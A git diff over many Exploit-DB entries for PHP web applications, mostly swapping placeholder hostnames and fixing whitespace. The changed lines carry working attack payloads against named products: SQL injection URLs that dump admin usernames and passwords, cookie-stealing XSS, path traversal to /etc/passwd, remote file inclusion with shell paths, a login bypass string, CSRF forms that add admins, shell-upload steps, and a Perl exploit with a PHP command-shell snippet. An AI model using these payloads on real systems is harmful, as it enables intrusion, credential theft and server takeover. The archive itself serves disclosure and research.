a/platforms/php/webapps/15585.txt b/platforms/php/webapps/15585.txt index 86183ed80..00f7f010a 100755 --- a/platforms/php/webapps/15585.txt +++ b/platforms/php/webapps/15585.txt @@ -23,3 +23,4 @@ _______________________________________________________________________ + \ No newline at end of file diff --git a/platforms/php/webapps/15588.txt b/platforms/php/webapps/15588.txt index 0b8742137..7c67ba494 100755 --- a/platforms/php/webapps/15588.txt +++ b/platforms/php/webapps/15588.txt @@ -13,4 +13,4 @@ http://server/s-cms/viewforum.php?id='1 (FPD) http://server/s-cms/viewforum.php?id=1+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7+from+cms_users-- (SQLi) -http://server/s-cms/viewforum.php?id='1%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E (XSS) \ No newline at end of file +http://server/s-cms/viewforum.php?id='1%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E (XSS) \ No newline at end of file diff --git a/platforms/php/webapps/15592.txt b/platforms/php/webapps/15592.txt index 0742f9b83..a108180f6 100755 --- a/platforms/php/webapps/15592.txt +++ b/platforms/php/webapps/15592.txt @@ -1,4 +1,4 @@ - + Exploit Title:Sahitya Graphics CMS Multiple Remote Vulnerabilities Date: 12.10.2010 Author: Dr.0rYX and Cr3w-DZ @@ -59,4 +59,4 @@ http://www.server/index.php?mp_id='><script>alert(document.cookie)</script> [ GReet ] -[+] : Exploit-db.com , all hackers muslims \ No newline at end of file +[+] : Exploit-db.com , all hackers muslims \ No newline at end of file diff --git a/platforms/php/webapps/15593.html b/platforms/php/webapps/15593.html index 03f0d0428..d0aa0f5d3 100755 --- a/platforms/php/webapps/15593.html +++ b/platforms/php/webapps/15593.html @@ -7,7 +7,7 @@ -------------------------------------------------------------------------------------- <form onsubmit="return do_validate(this.id);" id="mainform" name="mainform" -action="http://www.server:2082/frontend/x3/contact/saveemail.html"> +action="http://www.site.com:2082/frontend/x3/contact/saveemail.html"> <input id="email" name="email" type="hidden" value="X0h@msn.com"> <input id="second_email" name="second_email" type="hidden" value=""> @@ -22,4 +22,4 @@ action="http://www.server:2082/frontend/x3/contact/saveemail.html"> -------------------------------------------------------------------------------------- Gr33ts : RENO - Mr.M3x - all Member p0c Team .. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15608.txt b/platforms/php/webapps/15608.txt index 2770e00c8..c03f6da2a 100755 --- a/platforms/php/webapps/15608.txt +++ b/platforms/php/webapps/15608.txt @@ -14,7 +14,7 @@ II. TESTED VERSION III. PoC EXPLOIT --------------------------------------- -http://server/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL +http://site.com/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL IV. NOTES diff --git a/platforms/php/webapps/15621.txt b/platforms/php/webapps/15621.txt index 86e2ab7b6..d121d31f4 100755 --- a/platforms/php/webapps/15621.txt +++ b/platforms/php/webapps/15621.txt @@ -28,3 +28,4 @@ apa yang kau katakan! + \ No newline at end of file diff --git a/platforms/php/webapps/15623.pl b/platforms/php/webapps/15623.pl index cf952e105..609cff9e3 100755 --- a/platforms/php/webapps/15623.pl +++ b/platforms/php/webapps/15623.pl @@ -110,4 +110,4 @@ sub http_header return $http->default_header($_[0]); } -# Greetz to Sri Lankans \ No newline at end of file +# Greetz to Sri Lankans \ No newline at end of file diff --git a/platforms/php/webapps/15638.txt b/platforms/php/webapps/15638.txt index cd4f5a47c..153d18151 100755 --- a/platforms/php/webapps/15638.txt +++ b/platforms/php/webapps/15638.txt @@ -23,11 +23,11 @@ Duhok Forum Remot upload Vulnerability ===[ Exploit ]=== -1- go www.server/patch/admin/up_style.php or www.server/patch/idara/up_style.php +1- go www.site.com/patch/admin/up_style.php or www.site.com/patch/idara/up_style.php 2- upload shell "shell.css" and use tamper data -3- and go www.server/patch/slyle/style_shell.php +3- and go www.site.com/patch/slyle/style_shell.php .. enjoy -- @@ -38,4 +38,4 @@ greetz : kader11000 lagripe-dz mca_crb NetCat-Dz all dz members www.h4kz.net www.v4-team.com www.vbspiders.com www.dz4all.com/cc - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15720.txt b/platforms/php/webapps/15720.txt index 5ad9e76db..f5522e1cb 100755 --- a/platforms/php/webapps/15720.txt +++ b/platforms/php/webapps/15720.txt @@ -3,7 +3,7 @@ Sulata iSoft (stream.php) Local File Disclosure Exploit ========================================================= # Exploit Title : Sulata iSoft (developer by Rizwan Azam) you look -server/about.php +site.com/about.php # Date : 10 December 2010 # Author : Sudden_death # Platform/Tested on: Windows XP 2 SP 2 @@ -12,7 +12,7 @@ server/about.php ====================================================================== # vuln here -http://www.server/_admin/stream.php?path= +http://www.site.com/_admin/stream.php?path= # try to download and watch source file stream.php ..... @@ -23,7 +23,7 @@ This is the config ..... # after we know config, let us download -http://www.server/_admin/stream.php?path=../connection.php +http://www.site.com/_admin/stream.php?path=../connection.php [#]------------------------------------------------------------------- @@ -44,3 +44,4 @@ apa yang kau katakan! + \ No newline at end of file diff --git a/platforms/php/webapps/15735.txt b/platforms/php/webapps/15735.txt index 8d8cf848d..9e1b86b47 100755 --- a/platforms/php/webapps/15735.txt +++ b/platforms/php/webapps/15735.txt @@ -1,4 +1,4 @@ -MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability + MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability Vendor: MantisBT Group diff --git a/platforms/php/webapps/15736.txt b/platforms/php/webapps/15736.txt index e2e1db3a0..3699737b9 100755 --- a/platforms/php/webapps/15736.txt +++ b/platforms/php/webapps/15736.txt @@ -1,4 +1,4 @@ -MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability + MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability Vendor: MantisBT Group diff --git a/platforms/php/webapps/15748.txt b/platforms/php/webapps/15748.txt index 005ce9a04..95f80b8c5 100755 --- a/platforms/php/webapps/15748.txt +++ b/platforms/php/webapps/15748.txt @@ -35,11 +35,11 @@ index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpasswo #Demo: - -http://www.server/index.php?file=allfile&id=-40+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin +http://www.site.com/index.php?file=allfile&id=-40+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin - -http://www.server/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin +http://www.site.com/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin - -http://www.server/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin +http://www.site.com/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin Vizit us at http://xaknet.ru diff --git a/platforms/php/webapps/15752.txt b/platforms/php/webapps/15752.txt index 4e034b0b4..bb58c4170 100755 --- a/platforms/php/webapps/15752.txt +++ b/platforms/php/webapps/15752.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/15765.txt b/platforms/php/webapps/15765.txt index 235f339f0..ebc070eb9 100755 --- a/platforms/php/webapps/15765.txt +++ b/platforms/php/webapps/15765.txt @@ -44,4 +44,4 @@ Greetz : All IRANIAN Hackerz ~ Cyber Hackerz Persian Gulf For Ever ~ Not Damn Mother F***er Arabians!! -########################################################################### \ No newline at end of file +########################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/15789.txt b/platforms/php/webapps/15789.txt index ad55837e2..508ab98df 100755 --- a/platforms/php/webapps/15789.txt +++ b/platforms/php/webapps/15789.txt @@ -32,4 +32,4 @@ User panel: http://server/plxadtrader/ Admin Panel: http://server/plxadtrader/admin/ -################################################################################################### \ No newline at end of file +################################################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/15791.txt b/platforms/php/webapps/15791.txt index 2ece74d2e..d158f5d50 100755 --- a/platforms/php/webapps/15791.txt +++ b/platforms/php/webapps/15791.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/15793.txt b/platforms/php/webapps/15793.txt index c51daf03e..ca777c8a5 100755 --- a/platforms/php/webapps/15793.txt +++ b/platforms/php/webapps/15793.txt @@ -1,4 +1,4 @@ -Script Name: Vacation Rental Script <= 4.0 + Script Name: Vacation Rental Script <= 4.0 Site: http://www.vacationrentalscript.com/ Bug: Upload Shell diff --git a/platforms/php/webapps/15811.txt b/platforms/php/webapps/15811.txt index 61ea96d76..dc0daf290 100755 --- a/platforms/php/webapps/15811.txt +++ b/platforms/php/webapps/15811.txt @@ -6,11 +6,11 @@ Google Dork: "Powered by Built2Go PHP Shopping" p0c: -http://server/product.php?cat=16'%20UNION%20ALL%20SELECT%201,@@version,3/* +http://server.com/product.php?cat=16'%20UNION%20ALL%20SELECT%201,@@version,3/* xPloit: -http://server/product.php?cat=[sqli] +http://server.com/product.php?cat=[sqli] Brazil ;D diff --git a/platforms/php/webapps/15813.txt b/platforms/php/webapps/15813.txt index 325ea848a..36749bf1b 100755 --- a/platforms/php/webapps/15813.txt +++ b/platforms/php/webapps/15813.txt @@ -57,7 +57,7 @@ exit(); ===[ Exploit ]=== -1- Go to Siteadmin [www.server/siteadmin/login.php] +1- Go to Siteadmin [www.site.com/siteadmin/login.php] 2- join code Auth Bypass in Username & Password 3- Username: 'or'a'='a Password: 'or'a'='a @@ -66,4 +66,4 @@ Password: 'or'a'='a #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15814.txt b/platforms/php/webapps/15814.txt index 2b9b1bdd5..a38359127 100755 --- a/platforms/php/webapps/15814.txt +++ b/platforms/php/webapps/15814.txt @@ -10,12 +10,12 @@ Joomla Component com_ponygallery Multiple Remote File Include ===[ Exploit ]=== -www.server/components/com_ponygallery/admin.ponygallery.html.php?mosConfig_absolute_path=[shell.txt?] -www.server/components/com_ponygallery/admin.ponygallery.php?mosConfig_absolute_path=[shell.txt?] +www.site.com/components/com_ponygallery/admin.ponygallery.html.php?mosConfig_absolute_path=[shell.txt?] +www.site.com/components/com_ponygallery/admin.ponygallery.php?mosConfig_absolute_path=[shell.txt?] #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15815.txt b/platforms/php/webapps/15815.txt index ec358df03..e13360cbb 100755 --- a/platforms/php/webapps/15815.txt +++ b/platforms/php/webapps/15815.txt @@ -10,11 +10,11 @@ Joomla Component com_adsmanager Remote File Include ===[ Exploit ]=== -www.server/index.php?option=com_adsmanager&mosConfig_absolute_path=[shell.txt?] +www.site.com/index.php?option=com_adsmanager&mosConfig_absolute_path=[shell.txt?] #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15818.txt b/platforms/php/webapps/15818.txt index 60b9b6d34..e3f0d26fe 100755 --- a/platforms/php/webapps/15818.txt +++ b/platforms/php/webapps/15818.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/15819.txt b/platforms/php/webapps/15819.txt index fc7d65f4a..79ef73d85 100755 --- a/platforms/php/webapps/15819.txt +++ b/platforms/php/webapps/15819.txt @@ -13,7 +13,7 @@ ------------------------ -Exploit: http://www.server/components/com_xmovie/helpers/img.php?file=[LFI]%00 +Exploit: http://www.site.com/components/com_xmovie/helpers/img.php?file=[LFI]%00 ------------------------ diff --git a/platforms/php/webapps/15822.html b/platforms/php/webapps/15822.html index 8ec4baed8..fe22ac053 100755 --- a/platforms/php/webapps/15822.html +++ b/platforms/php/webapps/15822.html @@ -24,4 +24,4 @@ <script>document.p0c.submit();</script> NICKNAME: P0C T34M - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15826.txt b/platforms/php/webapps/15826.txt index 2ab309816..8d774f22e 100755 --- a/platforms/php/webapps/15826.txt +++ b/platforms/php/webapps/15826.txt @@ -22,4 +22,4 @@ </form> <script>document.p0c.submit();</script> </html> -TRAIDNT UP Version 3.0 - CSRF Add Admin \ No newline at end of file +TRAIDNT UP Version 3.0 - CSRF Add Admin \ No newline at end of file diff --git a/platforms/php/webapps/15827.txt b/platforms/php/webapps/15827.txt index 20ca2fd8b..339d17535 100755 --- a/platforms/php/webapps/15827.txt +++ b/platforms/php/webapps/15827.txt @@ -8,7 +8,7 @@ # Tested on: windows xp sp3 en # http://extensions.joomla.org/extensions/news-production/blog/9218 -#Exploit:http://www.server/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,2,concat%28username,0x3a,password,0x3a,email%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users-- +#Exploit:http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,2,concat%28username,0x3a,password,0x3a,email%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users-- ____________________________________________ Greetz:Lagripe-dz,BrOx-Dz,Mr NoRvI,indoushka diff --git a/platforms/php/webapps/15828.txt b/platforms/php/webapps/15828.txt index c109eddf5..5fc4d0085 100755 --- a/platforms/php/webapps/15828.txt +++ b/platforms/php/webapps/15828.txt @@ -7,7 +7,7 @@ # Tested on: v4.0 TEsted +WorKs #ResPecT My FrienDz : BARC0D3-SZE-BlackApple-Fl0rix-Sky_Lab-Ufuq-VoLqaN-KaBaDaYı-BraveHeart-CWScriptKiddiE-FinishedLife AND ALL MY FRIENDZ --------------------------------------------- -<form id="users_edit" method="post" action="http://server/home/members/profile/edit/MEMBERİD" enctype="multipart/form-data"> +<form id="users_edit" method="post" action="http://SİTE.COM/home/members/profile/edit/MEMBERİD" enctype="multipart/form-data"> <input type="hidden" name="profile_logo" id="profile_logo" value="r57.php-2.jpeg" /> <input type="hidden" name="role" id="role" value="admin" /> <input type="hidden" name="banned" id="banned" value="0" /> diff --git a/platforms/php/webapps/15835.html b/platforms/php/webapps/15835.html index f06817dbd..e45824142 100755 --- a/platforms/php/webapps/15835.html +++ b/platforms/php/webapps/15835.html @@ -33,4 +33,4 @@ <script>document.tnt.submit();</script> </html> -NickName : P0C T34M \ No newline at end of file +NickName : P0C T34M \ No newline at end of file diff --git a/platforms/php/webapps/15843.txt b/platforms/php/webapps/15843.txt index 9d538fc57..55611325a 100755 --- a/platforms/php/webapps/15843.txt +++ b/platforms/php/webapps/15843.txt @@ -1,4 +1,4 @@ - + ============================================================================== [»] News Script PHP Pro (fckeditor) File Upload Vulnerability diff --git a/platforms/php/webapps/15853.txt b/platforms/php/webapps/15853.txt index a23c2a3f2..b7cdf8e79 100755 --- a/platforms/php/webapps/15853.txt +++ b/platforms/php/webapps/15853.txt @@ -27,4 +27,4 @@ Warning: mysql_num_rows(): /home/user/public_html/news.php on line 227 # Site : http://vbspiders.com # Group : KaLa$nikoV t34m # Date : {26-12-2010}# Software : DGNews v 2.1# Greetz : just me :L -# team : VoLc4n0 --=-- stone love --=-- fla$h \ No newline at end of file +# team : VoLc4n0 --=-- stone love --=-- fla$h \ No newline at end of file diff --git a/platforms/php/webapps/1587.pl b/platforms/php/webapps/1587.pl index c93f8f955..ec605a8f9 100755 --- a/platforms/php/webapps/1587.pl +++ b/platforms/php/webapps/1587.pl @@ -9,7 +9,7 @@ # usage: # perl knowledgebase.pl <location of KnowledgebasePublisher> <cmd shell location <cmd shell variable> # -# perl knowledgebase.pl http://server/knowledgebase/ http://server/cmd.txt cmd +# perl knowledgebase.pl http://site.com/knowledgebase/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -75,8 +75,8 @@ sub usage() { head(); print " Usage: knowledgebase.pl <Site> <cmd shell> <cmd variable>\r\n\n"; - print " <Site> - Full path to KnowledgebasePublisher ex: http://www.server/knowledge/ \r\n"; - print " <cmd shell> - Path to Cmd Shell e.g http://www.server/cmd.txt \r\n"; + print " <Site> - Full path to KnowledgebasePublisher ex: http://www.site.com/knowledge/ \r\n"; + print " <cmd shell> - Path to Cmd Shell e.g http://www.site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by uid0\r\n"; diff --git a/platforms/php/webapps/15887.txt b/platforms/php/webapps/15887.txt index 2dba7266f..c3f6f101f 100755 --- a/platforms/php/webapps/15887.txt +++ b/platforms/php/webapps/15887.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,10 +17,10 @@ # Script site: http://www.churchdb.org/ # Download: http://sourceforge.net/projects/churchinfo/ # - # [SQL] Vuln: http://server/churchinfo-1.2.12/ListEvents.php + # [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php # # POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1 - # Host: server + # Host: site.com # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 diff --git a/platforms/php/webapps/15889.txt b/platforms/php/webapps/15889.txt index 248fcf559..3dbf968c2 100755 --- a/platforms/php/webapps/15889.txt +++ b/platforms/php/webapps/15889.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -18,7 +18,7 @@ # Download: https://launchpad.net/sahana-agasti/ # # [SQL] Vuln: - # http://server/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users + # http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users # # # Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223) diff --git a/platforms/php/webapps/15891.txt b/platforms/php/webapps/15891.txt index 294a8f563..1dfd48502 100755 --- a/platforms/php/webapps/15891.txt +++ b/platforms/php/webapps/15891.txt @@ -10,17 +10,17 @@ GALLARIFIC PHP Photo Gallery Script (gallery.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/gallery.php?id=null[Sql Injection] +www.site.com/gallery.php?id=null[Sql Injection] -www.server/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users-- +www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users-- ===[ Admin Panel ]=== -www.server/gadmin/index.php +www.site.com/gadmin/index.php #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15892.html b/platforms/php/webapps/15892.html index c1564311f..34ed090d7 100755 --- a/platforms/php/webapps/15892.html +++ b/platforms/php/webapps/15892.html @@ -28,4 +28,4 @@ YourTube v1.0 CSRF Vulnerability (Add User) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/15913.pl b/platforms/php/webapps/15913.pl index 36e41f805..91c89286a 100755 --- a/platforms/php/webapps/15913.pl +++ b/platforms/php/webapps/15913.pl @@ -18,7 +18,7 @@ # Script: http://www.phpgedview.net/ # Download: http://sourceforge.net/projects/phpgedview/ # -# Usage: perl expl.pl http://server/phpgedview/ +# Usage: perl expl.pl http://site.com/phpgedview/ # ################################################################## #[ dun / 2011-01-05 ] @@ -31,7 +31,7 @@ use IO::Select; my @modules; if(scalar(@ARGV) < 1) { - print "\nUsage: perl expl.pl http://server/phpgedview/\n\n"; + print "\nUsage: perl expl.pl http://site.com/phpgedview/\n\n"; exit; } diff --git a/platforms/php/webapps/15917.txt b/platforms/php/webapps/15917.txt index 61170c995..09c25fd86 100755 --- a/platforms/php/webapps/15917.txt +++ b/platforms/php/webapps/15917.txt @@ -7,7 +7,7 @@ ####################################################### ========================================= xpl : -http://server/comment.php?blog=../../../../../../../../../../LFI%00 +http://site.com/comment.php?blog=../../../../../../../../../../LFI%00 <?php session_start(); diff --git a/platforms/php/webapps/15924.txt b/platforms/php/webapps/15924.txt index 0fa23af96..83a68ff16 100755 --- a/platforms/php/webapps/15924.txt +++ b/platforms/php/webapps/15924.txt @@ -7,7 +7,7 @@ ####################################################### ========================================= xpl : -http://server/os/upload/src/include.php?db_driver=../../../../../../../../../../LFI%00 +http://site.com/os/upload/src/include.php?db_driver=../../../../../../../../../../LFI%00 <?php session_start(); @@ -18,7 +18,7 @@ http://server/os/upload/src/include.php?db_driver=../../../../../../../../../../ include('drivers/'.$db_driver.'.php'); ========================================= xpl: -http://server/os/upload/src/secure.php?db_driver=../../../../../../../../../../LFI%00 +http://site.com/os/upload/src/secure.php?db_driver=../../../../../../../../../../LFI%00 <?php include('variables.php'); @@ -26,14 +26,14 @@ http://server/os/upload/src/secure.php?db_driver=../../../../../../../../../../L include('drivers/'.$db_driver.'.php'); ========================================= xpl: -http://server/os/upload/src/content.php?db_driver=../../../../../../../../../../LFI%00 +http://site.com/os/upload/src/content.php?db_driver=../../../../../../../../../../LFI%00 <?php include('functions.php'); include('drivers/'.$db_driver.'.php'); ========================================= xpl: -http://server/os/upload/src/authenticate.php?db_driver=../../../../../../../../../../LFI%00 +http://site.com/os/upload/src/authenticate.php?db_driver=../../../../../../../../../../LFI%00 <?php error_reporting('2037'); diff --git a/platforms/php/webapps/15939.txt b/platforms/php/webapps/15939.txt index 9a8c1b52b..4f206e347 100755 --- a/platforms/php/webapps/15939.txt +++ b/platforms/php/webapps/15939.txt @@ -22,7 +22,7 @@ file : index.php -http://server/elxis-cms/index.php?mosConfig_absolute_path=[shell script] +http://site.com/elxis-cms/index.php?mosConfig_absolute_path=[shell script] c0de : @@ -40,7 +40,7 @@ require_once($mosConfig_absolute_path.'/includes/Core/loader.php'); file : index2.php -http://server/elxis-cms/index2.php?mosConfig_absolute_path=[shell script] +http://site.com/elxis-cms/index2.php?mosConfig_absolute_path=[shell script] c0de : @@ -57,7 +57,7 @@ require_once( $mosConfig_absolute_path.'/includes/Core/loader.php' ); file : index.php -http://server/elxis-cms/administrator/index.php?str_replace=[shell script] +http://site.com/elxis-cms/administrator/index.php?str_replace=[shell script] c0de : @@ -79,8 +79,8 @@ require_once($elxis_root.'/includes/Core/loader.php'); file : index2.php -http://server/elxis-cms/administrator/index2.php?str_replace=[shell script] -http://server/elxis-cms/administrator/index2.php?mosConfig_absolute_path=[shell script] +http://site.com/elxis-cms/administrator/index2.php?str_replace=[shell script] +http://site.com/elxis-cms/administrator/index2.php?mosConfig_absolute_path=[shell script] c0de : diff --git a/platforms/php/webapps/15942.txt b/platforms/php/webapps/15942.txt index 86451b7de..52694c4f0 100755 --- a/platforms/php/webapps/15942.txt +++ b/platforms/php/webapps/15942.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -19,7 +19,7 @@ # [LFI] Vuln: ( Scenario 1) - http://server/sahana-0.6.5/www/stream.php?stream_type=/../../../../../../../../../etc/passwd%00 + http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../../../../../../../../etc/passwd%00 File: ./sahana-0.6.5/www/stream.php 20 $global['approot'] = realpath(dirname(__FILE__)).'/../'; @@ -59,7 +59,7 @@ ################################################################################################################################ [LFI] Vuln: ( Scenario 2) - http://server/sahana-0.6.5/www/stream.php?mod=/../../../../../../../../../etc/passwd%00 + http://site.com/sahana-0.6.5/www/stream.php?mod=/../../../../../../../../../etc/passwd%00 File: ./sahana-0.6.5/www/stream.php 42 $global['module'] = (NULL == $_REQUEST['mod']) ? 43 "home" : $_REQUEST['mod']; @@ -90,7 +90,7 @@ ################################################################################################################################ [LFI] Vuln: ( Scenario 3 without file_exists) - http://server/sahana-0.6.5/www/stream.php?act=adm&mod=/../../../../../../../../../etc/passwd%00 + http://site.com/sahana-0.6.5/www/stream.php?act=adm&mod=/../../../../../../../../../etc/passwd%00 File: ./sahana-0.6.5/www/stream.php 42 $global['module'] = (NULL == $_REQUEST['mod']) ? // [1] @@ -132,7 +132,7 @@ ################################################################################################################################ [Configuration disclosure] Vuln: - http://server/sahana-0.6.5/www/stream.php?mod=admin&act=conf_list + http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=conf_list File: ./sahana-0.6.5/www/stream.php 100 $module_file = $approot.'mod/'.$module.'/'.$default_file; // [1] ( /var/www/apache/sahana/www/../mod/admin/main.inc ) @@ -161,7 +161,7 @@ ################################################################################################################################ [Arbitrary File Upload] Vuln: - http://server/sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser + http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser File: ./sahana-0.6.5/www/stream.php 131 $output = $module_function(); // [1] ( shn_admin_lc_file_browser() @@ -191,7 +191,7 @@ Example: POST /sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser HTTP/1.1 - Host: server + Host: site.com User-Agent: Mozilla/5.0 Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 @@ -219,14 +219,14 @@ File /res/locale/my_MM/LC_MESSAGES/file.txt is created We can use main.inc filename instead of file.txt So let's go back to LFI ( scenario 1,2 ): - ( scenario 1 ) http://server/sahana-0.6.5/www/stream.php?stream_type=/../../res/locale/my_MM/LC_MESSAGES/main - ( scenario 2 ) http://server/sahana-0.6.5/www/stream.php?mod=/..//res/locale/my_MM/LC_MESSAGES/ + ( scenario 1 ) http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../res/locale/my_MM/LC_MESSAGES/main + ( scenario 2 ) http://site.com/sahana-0.6.5/www/stream.php?mod=/..//res/locale/my_MM/LC_MESSAGES/ It includes LC_MESSAGES/main.inc with our <?php phpinfo(); ?> (AFU+LFI=RCE) ################################################################################################################################ [PHP Proxy] - http://server/sahana-0.6.5/www/res/lib_proxy.php?url=http://site2.com/dupa.php + http://site.com/sahana-0.6.5/www/res/lib_proxy.php?url=http://site2.com/dupa.php File: ./sahana-0.6.5/www/res/lib_proxy.php 17 $url = $_GET['url']; diff --git a/platforms/php/webapps/15958.txt b/platforms/php/webapps/15958.txt index d3258b2c3..30265e97e 100755 --- a/platforms/php/webapps/15958.txt +++ b/platforms/php/webapps/15958.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -18,7 +18,7 @@ # # # [LFI] (magic_quotes_gpc = Off) - # Vuln: http://server/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00 + # Vuln: http://site.com/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00 # dun@radius ~ $ cat joomlacaptcha.mp3 # root:x:0:0:root:/root:/bin/bash # ...... diff --git a/platforms/php/webapps/15960.txt b/platforms/php/webapps/15960.txt index d3d07dfbf..8796beb99 100755 --- a/platforms/php/webapps/15960.txt +++ b/platforms/php/webapps/15960.txt @@ -1,4 +1,4 @@ -| | + | | /|_________________________________________________________________________|\ / \ /===============================================================================\ @@ -25,9 +25,9 @@ [!] first find the target host - ex: www.server or server/maximus + ex: www.site.com or www.target.com/maximus - then # http://server/FCKeditor/editor/filemanager/connectors/uploadtest.html# + then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html# [!] select # "php" as "File Uploader" to use... and select "file" as Resource Type @@ -35,7 +35,7 @@ [!] after upload without any errors your file will be here: /FCKeditor/upload/ - ex: http://server//FCKeditor/upload/whatever.txt + ex: http://site.com//FCKeditor/upload/whatever.txt NB: remote shell upload also possible !!! diff --git a/platforms/php/webapps/15966.txt b/platforms/php/webapps/15966.txt index 040b30ac7..3601baded 100755 --- a/platforms/php/webapps/15966.txt +++ b/platforms/php/webapps/15966.txt @@ -9,7 +9,7 @@ -== ExPloiT ==- 